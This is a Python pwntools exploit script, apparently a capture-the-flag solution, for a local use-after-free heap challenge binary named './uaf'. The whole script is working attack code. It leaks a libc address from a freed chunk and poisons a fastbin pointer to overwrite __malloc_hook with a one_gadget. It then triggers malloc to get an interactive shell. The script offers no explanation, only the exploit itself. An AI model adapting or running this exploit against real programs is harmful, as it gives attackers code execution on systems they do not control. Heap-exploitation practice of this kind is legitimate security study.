#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./uaf')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def cmd(x):
    r.recvuntil("Your choice :")
    r.sendline(str(x))

def alloc(i,l,s):
    cmd(1)
    r.recvuntil('Index :')
    r.sendline(str(i))
    r.recvuntil('Size :')
    r.sendline(str(int(l)))
    r.recvuntil('Data :')
    r.sendline(s)

def delete(i):
    cmd(2)
    r.recvuntil('Index :')
    r.sendline(str(i))

def show(i):
    cmd(3)
    r.recvuntil('Index :')
    r.sendline(str(i))

def modify(i,s):
    cmd(4)
    r.recvuntil('Index :')
    r.sendline(str(i))
    r.recvuntil('Data :')
    r.sendline(s)


alloc(0, 0x500, 'aaaa')
alloc(1, 0x500, 'bbbb')

delete(0)
show(0)

leak = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
print '[+] libc_base :',hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print '[+] malloc_hook :',hex(malloc_hook)
one_gadget = libc_base + 0x10a38c
print '[+] one_gadget :',hex(one_gadget)

alloc(2, 0x68, 'cccc')
alloc(3, 0x68, 'cccc')

delete(2)
delete(3)
modify(3, p64(malloc_hook - 0x2b))

alloc(4, 0x68, 'dddd')
alloc(5, 0x68, 'e'*0x2b + p64(one_gadget))

cmd(1)
r.recvuntil('Index :')
r.sendline('6')
r.recvuntil('Size :')
r.sendline('1')



r.interactive()
